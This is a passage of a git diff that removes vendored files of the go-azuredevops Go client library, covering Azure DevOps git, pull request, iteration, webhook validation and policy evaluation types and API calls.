GitObjectType enum declaration -type GitObjectType int - -// GitObjectType enum declaration -const ( - Bad GitObjectType = iota - Commit - Tree - Blob - Tag - Ext2 - OfsDelta - RefDelta -) - -func (d GitObjectType) String() string { - return [...]string{"bad", "commit", "tree", "blob", "tag", "ext2", "ofsDelta", "refDelta"}[d] -} - -// GitService handles communication with the git methods on the API -// See: https://docs.microsoft.com/en-us/rest/api/vsts/git/ -type GitService struct { - client *Client -} - -// FileContentMetadata Describes files referenced by a GitItem -type FileContentMetadata struct { - ContentType *string `json:"contentType,omitempty"` - Encoding *int `json:"encoding,omitempty"` - Extension *string `json:"extension,omitempty"` - FileName *string `json:"fileName,omitempty"` - IsBinary *bool `json:"isBinary,omitempty"` - IsImage *bool `json:"isImage,omitempty"` - VSLink *string `json:"vsLink,omitempty"` -} - -// GitRefsResponse describes the git list refs response -type GitRefsResponse struct { - Count int `json:"count"` - GitRefs []*GitRef `json:"value"` -} - -// GitRefsUpdateResponse describes the git list refs update response -type GitRefsUpdateResponse struct { - Count int `json:"count"` - GitRefsUpdate []*GitRefUpdate `json:"value"` -} - -// UpdateRefsBody Request body for UpdateRefs() -type UpdateRefsBody struct { - IsLocked *bool `json:"isLocked,omitempty"` - Name *string `json:"name,omitempty"` - NewObjectID *string `json:"newObjectId,omitempty"` - OldObjectID *string `json:"oldObjectId,omitempty"` - RepositoryID *string `json:"repositoryId,omitempty"` -} - -// GitStatusesResponse describes the git statuses response -type GitStatusesResponse struct { - Count int `json:"count"` - GitStatuses []*GitStatus `json:"value"` -} - -// GitChange describes file path and content changes -type GitChange struct { - ChangeID *int `json:"changeId,omitempty"` - ChangeType *string `json:"changeType,omitempty"` - Item *GitItem `json:"item,omitempty"` - NewContent *ItemContent `json:"newContent,omitempty"` - NewContentTemplate *GitTemplate `json:"newContentTemplate,omitempty"` - OriginalPath *string `json:"originalPath,omitempty"` - SourceServerItem *string `json:"sourceServerItem,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GitCommitChanges is a list of GitCommitRefs and count of all changes describes in -// the response from the API -type GitCommitChanges struct { - ChangeCounts *map[string]int `json:"changeCounts,omitempty"` - Changes []*GitChange `json:"changes,omitempty"` -} - -// GitCommitRef describes a single git commit reference -type GitCommitRef struct { - Links *map[string]Link `json:"_links,omitempty"` - CommitID *string `json:"commitId,omitempty"` - Author *GitUserDate `json:"author,omitempty"` - Committer *GitUserDate `json:"committer,omitempty"` - Comment *string `json:"comment,omitempty"` - CommentTruncated *bool `json:"commentTruncated,omitempty"` - URL *string `json:"url,omitempty"` - ChangeCounts *map[string]int `json:"changeCounts,omitempty"` - Changes *GitChange `json:"changes,omitempty"` - Parents []*string `json:"parents,omitempty"` - Push *GitPushRef `json:"push,omitempty"` - RemoteURL *string `json:"remoteUrl,omitempty"` - Statuses []*GitStatus `json:"statuses,omitempty"` - WorkItems *ResourceRef `json:"workItems,omitempty"` -} - -// GitRef provides information about a git/fork ref. -type GitRef struct { - Links *map[string]Link `json:"_links,omitempty"` - Creator *IdentityRef `json:"creator,omitempty"` - IsLocked *bool `json:"isLocked,omitempty"` - IsLockedBy *IdentityRef `json:"isLockedBy,omitempty"` - Name *string `json:"name,omitempty"` - ObjectID *string `json:"objectId,omitempty"` - PeeledObjectID *string `json:"peeledObjectId,omitempty"` - Repository *GitRepository `json:"repository,omitempty"` - Statuses []*GitStatus `json:"statuses,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GitItem describes a single git item -type GitItem struct { - Links *map[string]Link `json:"_links,omitempty"` - CommitID *string `json:"commitId,omitempty"` - Content *string `json:"content,omitempty"` - ContentMetadata *FileContentMetadata `json:"contentMetadata,omitempty"` - GitObjectType *string `json:"gitObjectType,omitempty"` - IsFolder *bool `json:"isFolder,omitempty"` - IsSymLink *bool `json:"isSymLink,omitempty"` - LatestProcessedChange *GitCommitRef `json:"latestProcessedChange,omitempty"` - ObjectID *string `json:"objectId,omitempty"` - OriginalObjectID *string `json:"originalObjectId,omitempty"` - Path *string `json:"path,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GitPullRequest represents all the data associated with a pull request. -type GitPullRequest struct { - Links *map[string]Link `json:"_links,omitempty"` - ArtifactID *string `json:"artifactId,omitempty"` - AutoCompleteSetBy *IdentityRef `json:"autoCompleteSetBy,omitempty"` - ClosedBy *IdentityRef `json:"closedBy,omitempty"` - ClosedDate *Time `json:"closedDate,omitempty"` - CodeReviewID *int `json:"codeReviewId,omitempty"` - Commits []*GitCommitRef `json:"commits,omitempty"` - CompletionOptions *GitPullRequestCompletionOptions `json:"completionOptions,omitempty"` - CompletionQueueTime *Time `json:"completionQueueTime, omitempty"` - CreatedBy *IdentityRef `json:"createdBy,omitempty"` - CreationDate *Time `json:"creationDate,omitempty"` - Description *string `json:"description,omitempty"` - ForkSource *GitRef `json:"forkSource,omitempty"` - IsDraft *bool `json:"isDraft,omitempty"` - Labels []*WebAPITagDefinition `json:"labels,omitempty"` - LastMergeCommit *GitCommitRef `json:"lastMergeCommit,omitempty"` - LastMergeSourceCommit *GitCommitRef `json:"lastMergeSourceCommit,omitempty"` - LastMergeTargetCommit *GitCommitRef `json:"lastMergeTargetCommit,omitempty"` - MergeFailureMessage *string `json:"mergeFailureMessage,omitempty"` - MergeFailureType *string `json:"mergeFailureType,omitempty"` - MergeID *string `json:"mergeId,omitempty"` - MergeOptions *GitPullRequestMergeOptions `json:"mergeOptions,omitempty"` - MergeStatus *string `json:"mergeStatus,omitempty"` - PullRequestID *int `json:"pullRequestId,omitempty"` - Repository *GitRepository `json:"repository,omitempty"` - Reviewers []*IdentityRefWithVote `json:"reviewers,omitempty"` - RemoteURL *string `json:"remoteUrl,omitempty"` - SourceRefName *string `json:"sourceRefName,omitempty"` - Status *string `json:"status,omitempty"` - SupportsIterations *bool `json:"supportsIterations,omitempty"` - TargetRefName *string `json:"targetRefName,omitempty"` - Title *string `json:"title,omitempty"` - URL *string `json:"url,omitempty"` - WorkItemRefs []*ResourceRef `json:"workItemRefs,omitempty"` -} - -// GitPullRequestChange Change made in a pull request. -type GitPullRequestChange struct { - ChangeTrackingID *int `json:"changeTrackingId,omitempty"` -} - -// GitPullRequestIteration Provides properties that describe a Git pull request iteration. Iterations are created as a result of creating and pushing updates to a pull request. -type GitPullRequestIteration struct { - Links interface{} `json:"_links,omitempty"` - Author *IdentityRef `json:"author,omitempty"` - ChangeList []*GitPullRequestChange `json:"changeList,omitempty"` - Commits []*GitCommitRef `json:"commits,omitempty"` - CommonRefCommit *GitCommitRef `json:"commonRefCommit,omitempty"` - CreatedDate *Time `json:"createdDate,omitempty"` - Description *string `json:"description,omitempty"` - HasMoreCommits *bool `json:"hasMoreCommits,omitempty"` - ID *int `json:"id,omitempty"` - NewTargetRefName *string `json:"newTargetRefName,omitempty"` - OldTargetRefName *string `json:"oldTargetRefName,omitempty"` - Push *GitPushRef `json:"push,omitempty"` - Reason *string `json:"reason,omitempty"` - SourceRefCommit *GitCommitRef `json:"sourceRefCommit,omitempty"` - TargetRefCommit *GitCommitRef `json:"targetRefCommit,omitempty"` - UpdatedDate *Time `json:"updatedDate,omitempty"` -} - -// Collection of changes made in a pull request. -type GitPullRequestIterationChanges struct { - ChangeEntries []*GitPullRequestChange `json:"changeEntries,omitempty"` - NextSkip *int `json:"nextSkip,omitempty"` - NextTop *int `json:"nextTop,omitempty"` -} - -// GitPullRequestCompletionOptions describes preferences about how the pull -// request should be completed. -// SquashMerge is deprecated. You should explicity set the value of MergeStrategy. If -// MergeStrategy is set to any value, the SquashMerge value will be ignored. If -// MergeStrategy is not set, the merge strategy will be no-fast-forward if this flag is false, or squash if true. -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/update?view=azure-devops-rest-5.1#pullrequeststatus -type GitPullRequestCompletionOptions struct { - BypassPolicy *bool `json:"bypassPolicy,omitempty"` - BypassReason *string `json:"bypassReason,omitempty"` - DeleteSourceBranch *bool `json:"deleteSourceBranch,omitempty"` - MergeCommitMessage *string `json:"mergeCommitMessage,omitempty"` - MergeStrategy *string `json:"mergeStrategy,omitempty"` - SquashMerge *bool `json:"squashMerge,omitempty"` - TransitionWorkItems *bool `json:"transitionWorkItems,omitempty"` - TriggeredByAutoComplete *bool `json:"triggeredByAutoComplete,omitempty"` -} - -// GitPullRequestMergeOptions describes the options which are used when a pull -// request merge is created. -type GitPullRequestMergeOptions struct { - DetectRenameFalsePositives *bool `json:"detectRenameFalsePositives,omitempty"` - DisableRenames *bool `json:"disableRenames,omitempty"` -} - -// GitPullRequestMergeStrategy specifies the strategy used to merge the pull request -// during completion. -type GitPullRequestMergeStrategy int - -// GitPullRequestMergeStrategy enum values -const ( - NoFastForward GitPullRequestMergeStrategy = iota - Rebase - SebaseMerge - Squash -) - -func (d GitPullRequestMergeStrategy) String() string { - return [...]string{"noFastForward", "rebase", "rebaseMerge", "squash"}[d] -} - -// GitPush describes a code push request event. -type GitPush struct { - Links *map[string]Link `json:"_links,omitempty"` - Commits []*GitCommitRef `json:"commits,omitempty"` - Date *Time `json:"date,omitempty"` - PushID *int `json:"pushId,omitempty"` - PushedBy *IdentityRef `json:"pushedBy,omitempty"` - RefUpdates []*GitRefUpdate `json:"refUpdates,omitempty"` - Repository *GitRepository `json:"repository,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GitPushRef Describes a push request -type GitPushRef struct { - Commits []*GitCommitRef `json:"commits,omitempty"` - RefUpdates []*GitRefUpdate `json:"refUpdates,omitempty"` - Repository *GitRepository `json:"repository,omitempty"` -} - -// GitRefUpdate Describes a ref update -type GitRefUpdate struct { - IsLocked *bool `json:"isLocked,omitempty"` - Name *string `json:"name,omitempty"` - NewObjectID *string `json:"newObjectId,omitempty"` - OldObjectID *string `json:"oldObjectId,omitempty"` - RepositoryID *string `json:"repositoryId,omitempty"` -} - -// GitRepository describes an Azure Devops Git repository. -type GitRepository struct { - Links *map[string]Link `json:"_links,omitempty"` - DefaultBranch *string `json:"defaultBranch,omitempty"` - ID *string `json:"id,omitempty"` - IsFork *bool `json:"isFork,omitempty"` - Name *string `json:"name,omitempty"` - ParentRepository *GitRepositoryRef `json:"parentRepository,omitempty"` - Project *TeamProjectReference `json:"project,omitempty"` - RemoteURL *string `json:"remoteUrl,omitempty"` - Size *int `json:"size,omitempty"` - SSHURL *string `json:"sshUrl,omitempty"` - URL *string `json:"url,omitempty"` - ValidRemoteURLs []*string `json:"validRemoteUrls,omitempty"` - WebURL *string `json:"webUrl,omitempty"` -} - -// GitRepositoryRef describes a repository ref -type GitRepositoryRef struct { - Collection *TeamProjectCollectionReference `json:"collection,omitempty"` - ID *string `json:"id,omitempty"` - IsFork *bool `json:"isFork,omitempty"` - Name *string `json:"name,omitempty"` - Project *TeamProjectReference `json:"project,omitempty"` - RemoteURL *string `json:"remoteUrl,omitempty"` - SSHURL *string `json:"sshUrl,omitempty"` - URL *string `json:"url,omitempty"` -} - -// GitStatusState contains the metadata of a service/extension posting a status. -type GitStatusState int - -// GitStatusState enum values -const ( - GitNotSet GitStatusState = iota - GitPending - GitSucceeded - GitFailed - GitError - GitNotApplicable -) - -func (d GitStatusState) String() string { - return [...]string{"notSet", "pending", "succeeded", "failed", "error", "notApplicable"}[d] -} - -// GitStatus describes a git status entity -type GitStatus struct { - Links *map[string]Link `json:"_links,omitempty"` - Context *GitStatusContext `json:"context,omitempty"` - CreatedBy *IdentityRef `json:"createdBy,omitempty"` - CreationDate *Time `json:"creationDate,omitempty"` - Description *string `json:"description,omitempty"` - ID *int `json:"id,omitempty"` - State *string `json:"state,omitempty"` - TargetURL *string `json:"targetUrl,omitempty"` - UpdatedDate *Time `json:"updatedDate,omitempty"` -} - -// GitPullRequestStatus This class contains the metadata of a service/extension -// posting pull request status. Status can be associated with a pull request or -// an iteration. -type GitPullRequestStatus struct { - GitStatus - IterationID *int `json:"iterationId,omitempty"` - Properties map[string]interface{} `json:"properties,omitempty"` -} - -// GitRefListOptions describes what the request to the API should look like -type GitRefListOptions struct { - Filter string `url:"filter,omitempty"` - IncludeStatuses bool `url:"includeStatuses,omitempty"` - LatestStatusesOnly bool `url:"latestStatusesOnly,omitempty"` -} - -// GitStatusContext Status context that uniquely identifies the status. -type GitStatusContext struct { - Genre *string `json:"genre,omitempty"` - Name *string `json:"name,omitempty"` -} - -// GitTemplate describes a git template -type GitTemplate struct { - Name *string `json:"name,omitempty"` - Type *string `json:"type,omitempty"` -} - -// GitUserDate User info and date for Git operations. -type GitUserDate struct { - Name *string `json:"name,omitempty"` - Email *string `json:"email,omitempty"` - Date *Time `json:"date,omitempty"` -} - -// IterationReason The reason for which the pull request iteration was created. -type IterationReason int - -// IterationReason enum declaration -const ( - IterationPush IterationReason = iota - IterationForcePush - IterationCreate - IterationRebase - IterationUnknown - IterationRetarget -) - -func (d IterationReason) String() string { - return [...]string{"push", "forcePush", "create", "rebase", "unknown", "retarget"}[d] -} - -// UpdateRefs returns a list of the references for a git repo -func (s *GitService) UpdateRefs(ctx context.Context, owner, project, repo, refType string, opts *GitRefListOptions) ([]*GitRef, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/git/repositories/%s/refs/%s?api-version=5.1-preview.1", - owner, - project, - repo, - refType, - ) - - URL, err := addOptions(URL, opts) - - body := &UpdateRefsBody{ - IsLocked: Bool(false), - Name: String("refs/heads/vsts-api-sample/answer-woman-flame"), - NewObjectID: String(""), - OldObjectID: String(""), - RepositoryID: String(repo), - } - - req, err := s.client.NewRequest("POST", URL, body) - if err != nil { - return nil, nil, err - } - r := new(GitRefsResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.GitRefs, resp, err -} - -// ListRefs returns a list of the references for a git repo -func (s *GitService) ListRefs(ctx context.Context, owner, project, repo, refType string, opts *GitRefListOptions) ([]*GitRef, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/git/repositories/%s/refs/%s?api-version=5.1-preview.1", - owner, - project, - repo, - refType, - ) - - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(GitRefsResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.GitRefs, resp, err -} - -// GetRepository Return a single GitRepository -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/repositories/get%20repository?view=azure-devops-rest-5.1 -func (s *GitService) GetRepository(ctx context.Context, owner, project, repoName string) (*GitRepository, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/git/repositories/%s?api-version=5.1-preview.1", - owner, - project, - repoName, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(GitRepository) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err - -} - -// GetChanges Return a single GitRepository -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/commits/get%20changes?view=azure-devops-rest-5.1 -func (s *GitService) GetChanges(ctx context.Context, owner, project, repoName, commitID string) (*GitCommitChanges, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/git/repositories/%s/commits/%s/changes?api-version=5.1-preview.1", - owner, - project, - repoName, - commitID, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(GitCommitChanges) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// CreateStatus creates a new status for a repository at the specified -// reference. Ref can be a SHA, a branch name, or a tag name. -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/statuses/create?view=azure-devops-rest-5.0 -func (s *GitService) CreateStatus(ctx context.Context, owner, project, repoName, ref string, status GitStatus) (*GitStatus, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/_apis/git/repositories/%s/commits/%s/statuses?api-version=5.1-preview.1", - owner, - project, - repoName, - url.QueryEscape(ref), - ) - - req, err := s.client.NewRequest("POST", URL, status) - if err != nil { - return nil, nil, err - } - r := new(GitStatus) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/identity_ref.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/identity_ref.go deleted file mode 100644 index 14fd976a14..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/identity_ref.go +++ /dev/null @@ -1,27 +0,0 @@ -package azuredevops - -// IdentityRef describes an Azure Devops identity -type IdentityRef struct { - Links *map[string]Link `json:"_links,omitempty"` - Descriptor *string `json:"descriptor,omitempty"` - DirectoryAlias *string `json:"directoryAlias,omitempty"` - DisplayName *string `json:"displayName,omitempty"` - ID *string `json:"id,omitempty"` - ImageURL *string `json:"imageUrl,omitempty"` - Inactive *bool `json:"inactive,omitempty"` - IsAadIdentity *bool `json:"isAadIdentity,omitempty"` - IsContainer *bool `json:"isContainer,omitempty"` - IsDeletedInOrigin *bool `json:"isDeletedInOrigin,omitempty"` - ProfileURL *string `json:"profileUrl,omitempty"` - URL *string `json:"url,omitempty"` - UniqueName *string `json:"uniqueName,omitempty"` -} - -// IdentityRefWithVote Identity information including a vote on a pull request. -type IdentityRefWithVote struct { - IdentityRef - IsRequired *bool `json:"isRequired,omitempty"` - ReviewerURL *string `json:"reviewerUrl,omitempty"` - Vote *int `json:"vote,omitempty"` - VotedFor []*IdentityRefWithVote `json:"votedFor,omitempty"` -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/iterations.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/iterations.go deleted file mode 100644 index 001f0be477..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/iterations.go +++ /dev/null @@ -1,69 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" - "net/url" -) - -// IterationsService handles communication with the work items methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/iterations -type IterationsService struct { - client *Client -} - -// IterationsResponse describes the iterations response -type IterationsResponse struct { - Count int `json:"count,omitempty"` - Iterations []*Iteration `json:"value,omitempty"` -} - -// Iteration describes an iteration -type Iteration struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - URL *string `json:"url,omitempty"` - StartDate *string `json:"startDate,omitempty"` - EndDate *string `json:"finishDate,omitempty"` - WorkItems [][]interface{} `json:"workItems,omitempty"` -} - -// List returns list of the iterations available to the user -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/work/iterations/list -func (s *IterationsService) List(ctx context.Context, owner, project, team string) ([]*Iteration, *http.Response, error) { - URL := fmt.Sprintf( - "%s/%s/%s/_apis/work/teamsettings/iterations?api-version=5.1-preview.1", - owner, - project, - url.PathEscape(team), - ) - - request, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(IterationsResponse) - resp, err := s.client.Execute(ctx, request, &r) - - return r.Iterations, resp, err -} - -// GetByName will search the iterations for the account and project -// and return a single iteration if the names match -func (s *IterationsService) GetByName(ctx context.Context, owner, project, team string, name string) (*Iteration, *http.Response, error) { - iterations, resp, err := s.List(ctx, owner, project, team) - if err != nil { - return nil, nil, err - } - - for index := 0; index < len(iterations); index++ { - if name == *iterations[index].Name { - iteration := iterations[index] - return iteration, resp, nil - } - } - - return nil, nil, nil -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/messages.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/messages.go deleted file mode 100644 index 1f44298640..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/messages.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// This file provides functions for validating payloads from GitHub Webhooks. -// GitHub API docs: https://developer.github.com/webhooks/securing/#validating-payloads-from-github - -// Adapted for Azure Devops - -package azuredevops - -import ( - "crypto/subtle" - "encoding/json" - "errors" - "fmt" - "io/ioutil" - "net/http" -) - -const ( - activityIDHeader = "X-VSS-ActivityId" - subscriptionIDHeader = "X-VSS-SubscriptionId" - // requestIDHeader is the Azure Devops header key used to pass the unique ID for the webhook event. - requestIDHeader = "Request-Id" -) - -var ( - // eventTypeMapping maps webhooks types to their corresponding go-azuredevops - // resource struct types. - eventTypeMapping = map[string]string{ - "git.pullrequest.created": "PullRequestEvent", - "git.pullrequest.merged": "PullRequestEvent", - "git.pullrequest.updated": "PullRequestEvent", - "git.push": "PushEvent", - "ms.vss-code.git-pullrequest-comment-event": "PullRequestCommentedEvent", - "workitem.commented": "WorkItemCommentedEvent", - "workitem.updated": "WorkItemUpdatedEvent", - } -) - -// GetActivityID returns the value of the activityIDHeader webhook header. -// -// Haven't found vendor documentation yet. This could be a GUID that identifies -// the webhook request ID. A different GUID is also present in the body of -// webhook requests. -func GetActivityID(r *http.Request) string { - return r.Header.Get(activityIDHeader) -} - -// GetRequestID returns the value of the requestIDHeader webhook header. -// -// Haven't found vendor documentation yet. This could be a GUID that identifies -// the webhook request ID. A different GUID is also present in the body of -// webhook requests. -func GetRequestID(r *http.Request) string { - return r.Header.Get(requestIDHeader) -} - -// GetSubscriptionID returns the value of the subscriptionIDHeader webhook header. -// -// Haven't found vendor documentation yet. This could be a GUID that identifies -// the webhook event type and settings in the Azure Devops tenant -func GetSubscriptionID(r *http.Request) string { - return r.Header.Get(subscriptionIDHeader) -} - -// ValidatePayload validates an incoming Azure Devops Webhook event request -// and returns the (JSON) payload. -// The Content-Type header of the payload must be "application/json" or -// an error is returned. A charset may be included with the content type. -// user is the supplied username for Basic authentication -// pass is the supplied password for Basic authentication -// If your webhook does not contain a username or password, you can pass nil or an empty slice. -// This is intended for local development purposes only as all webhooks should ideally -// set up a secret token. -// It is up to the caller to process failed validation and return a proper 401 response -// to the user, such as: -// -// w.Header().Set("WWW-Authenticate", `Basic realm="`+realm+`"`) -// w.WriteHeader(401) -// w.Write([]byte("Unauthorized.\n")) -// -// -// Example usage: -// -// func (s *Event) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := azuredevops.ValidatePayload(r, s.user, s.pass) -// if err != nil { ... } -// // Process payload... -// } -// -func ValidatePayload(r *http.Request, user, pass []byte) (payload []byte, err error) { - var body []byte // Raw body that GitHub uses to calculate the signature. - - switch ct := r.Header.Get("Content-Type"); ct { - case "application/json": - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/json, - // the JSON payload is just the original body. - payload = body - case "application/json; charset=utf-8": - var err error - if body, err = ioutil.ReadAll(r.Body); err != nil { - return nil, err - } - - // If the content type is application/json, - // the JSON payload is just the original body. - payload = body - default: - return nil, fmt.Errorf("Webhook request has unsupported Content-Type %q", ct) - } - - // Only validate the authentication if a username and password exist. This is - // intended for local development only and all webhooks should ideally set up - // a Basic authentication username and password. - username, password, ok := r.BasicAuth() - - if !ok || subtle.ConstantTimeCompare([]byte(user), []byte(username)) != 1 || subtle.ConstantTimeCompare([]byte(pass), []byte(password)) != 1 { - return nil, errors.New("ValidatePayload authentication failed") - } - //Authorization: Basic - return payload, nil -} - -// ParseWebHook parses the event payload into a corresponding struct. -// An error will be returned for unrecognized event types. -// -// Example usage: -// -// func (s *EventMonitor) ServeHTTP(w http.ResponseWriter, r *http.Request) { -// payload, err := azuredevops.ValidatePayload(r, s.user, s.pass) -// if err != nil { ... } -// event, err := azuredevops.ParseWebHook(payload) -// if err != nil { ... } -// switch event.PayloadType { -// case azuredevops.WorkItemEvent: -// processWorkItemEvent(&event) -// case azuredevops.PullRequestEvent: -// processPullRequestEvent(&event) -// ... -// } -// } -// -// https://docs.microsoft.com/en-us/azure/devops/service-hooks/events?view=azure-devops -func ParseWebHook(payload []byte) (*Event, error) { - event := new(Event) // returns pointer - err := json.Unmarshal(payload, event) - if err != nil { - return nil, err - } - - _, err = event.ParsePayload() - - return event, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/policy_evaluations.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/policy_evaluations.go deleted file mode 100644 index 34f12cc5ed..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/policy_evaluations.go +++ /dev/null @@ -1,106 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// PolicyEvaluationsService handles communication with the evaluations methods on the API -// utilising https://docs.microsoft.com/en-us/rest/api/azure/devops/policy/evaluations -type PolicyEvaluationsService struct { - client *Client -} - -// PolicyEvaluationsListOptions describes what the request to the API should look like -type PolicyEvaluationsListOptions struct{} - -// PolicyEvaluationsListResponse describes a pull requests list response -type PolicyEvaluationsListResponse struct { - Count int `json:"count"` - PolicyEvaluations []*PolicyEvaluationRecord `json:"value"` -} - -// PolicyEvaluationRecord encapsulates the current state of a policy as it applies to one specific pull request. -type PolicyEvaluationRecord struct { - Links *map[string]Link `json:"_links,omitempty"` - ArtifactID *string `json:"artifactId,omitempty"` - CompletedDate *string `json:"completedDate,omitempty"` - Configuration *PolicyConfiguration `json:"configuration,omitempty"` - Context interface{} `json:"context,omitempty"` - EvaluationID *string `json:"evaluationId,omitempty"` - StartedDate *string `json:"startedDate,omitempty"` - Status *string `json:"status,omitempty"` -} - -// PolicyConfiguration is the full policy configuration with settings. -type PolicyConfiguration struct { - Links interface{} `json:"_links,omitempty"` - CreatedBy *IdentityRef `json:"createdBy,omitempty"` - CreatedDate *string `json:"createdDate,omitempty"` - ID *int `json:"id,omitempty"` - IsBlocking *bool `json:"isBlocking,omitempty"` - IsDeleted *bool `json:"isDeleted,omitempty"` - IsEnabled *bool `json:"isEnabled,omitempty"` - Revision *int `json:"revision,omitempty"` - Settings interface{} `json:"settings,omitempty"` - Type *PolicyTypeRef `json:"type,omitempty"` - Url *string `json:"url,omitempty"` -} - -// PolicyTypeRef is the policy type reference. -type PolicyTypeRef struct { - DisplayName *string `json:"displayName,omitempty"` - ID *string `json:"id,omitempty"` - Url *string `json:"url,omitempty"` -} - -const ( - // PolicyEvaluationApproved represents that the policy has been fulfilled for this pull request. - PolicyEvaluationApproved = "approved" - - // PolicyEvaluationBroken represents that the policy encountered an unexpected error. - PolicyEvaluationBroken = "broken" - - // PolicyEvaluationNotApplicable represents that the policy does not apply to this pull request. - PolicyEvaluationNotApplicable = "notApplicable" - - // PolicyEvaluationQueued represents that the policy is either queued to run, or is waiting for some event before progressing. - PolicyEvaluationQueued = "queued" - - // PolicyEvaluationRejected represents that the policy has rejected this pull request. - PolicyEvaluationRejected = "rejected" - - // PolicyEvaluationRunning represents that the policy is currently running. - PolicyEvaluationRunning = "running" -) - -// GetPullRequestArtifactID gets the Artifact ID of a pull request. -// ex: vstfs:///CodeReview/CodeReviewId/{projectId}/{pullRequestId} -func (s *PolicyEvaluationsService) GetPullRequestArtifactID(projectID string, pullRequestID int) string { - return fmt.Sprintf("vstfs:///CodeReview/CodeReviewId/%s/%d", projectID, pullRequestID) -} - -// List retrieves a list of all the policy evaluation statuses for a specific pull request. -// https://docs.microsoft.com/en-us/rest/api/azure/devops/policy/evaluations/list?view=azure-devops-rest-5.1 -func (s *PolicyEvaluationsService) List(ctx context.Context, owner, project, artifactID string, opts *PolicyEvaluationsListOptions) ([]*PolicyEvaluationRecord, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/policy/evaluations?artifactId=%s&api-version=5.1-preview", - owner, - project, - artifactID, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(PolicyEvaluationsListResponse) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r.PolicyEvaluations, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/pull_requests.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/pull_requests.go deleted file mode 100644 index ff1f84a490..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/pull_requests.go +++ /dev/null @@ -1,541 +0,0 @@ -package azuredevops - -import ( - "context" - "errors" - "fmt" - "net/http" -) - -// Vote identifiers -const ( - VoteApproved = 10 - VoteApprovedWithSuggestions = 5 - VoteNone = 0 - VoteWaitingForAuthor = -5 - VoteRejected = -10 -) - -// CommentType enum declaration -type CommentType int - -// CommentType enum declaration -const ( - // The comment type is not known. - CommentTypeUnknown CommentType = iota - // This is a regular user comment. - CommentTypeText - // The comment comes as a result of a code change. - CommentTypeCodeChange - // The comment represents a system message. - CommentTypeSystem -) - -func (d CommentType) String() string { - return [...]string{"unknown", "text", "codechange", "system"}[d] -} - -// CommentThreadStatus enum declaration -type CommentThreadStatus int - -// CommentThreadStatus enum declaration -const ( - StatusUnknown CommentThreadStatus = iota - StatusActive - Fixed - WontFix - Closed - ByDesign - Pending -) - -func (d CommentThreadStatus) String() string { - return [...]string{"unknown", "active", "fixed", "wontfix", "closed", "byDesign", "pending"}[d] -} - -// PullRequestAsyncStatus The current status of a pull request merge. -type PullRequestAsyncStatus int - -// PullRequestAsyncStatus enum values -const ( - MergeNotSet PullRequestAsyncStatus = iota - MergeQueued - MergeConflicts - MergeSucceeded - MergeRejectedByPolicy - MergeFailure -) - -func (d PullRequestAsyncStatus) String() string { - return [...]string{"notSet", "queued", "conflicts", "succeeded", "rejectedByPolicy", "failure"}[d] -} - -// PullRequestMergeFailureType The specific type of merge request failure -type PullRequestMergeFailureType int - -// PullRequestMergeFailureType enum values -const ( - NoFailure PullRequestMergeFailureType = iota - UnknownFailure - CaseSensitive - ObjectTooLarge -) - -func (d PullRequestMergeFailureType) String() string { - return [...]string{"none", "unknown", "caseSensitive", "objectTooLarge"}[d] -} - -// PullRequestStatus The current status of a pull request merge. -type PullRequestStatus int - -// PullRequestStatus enum values -const 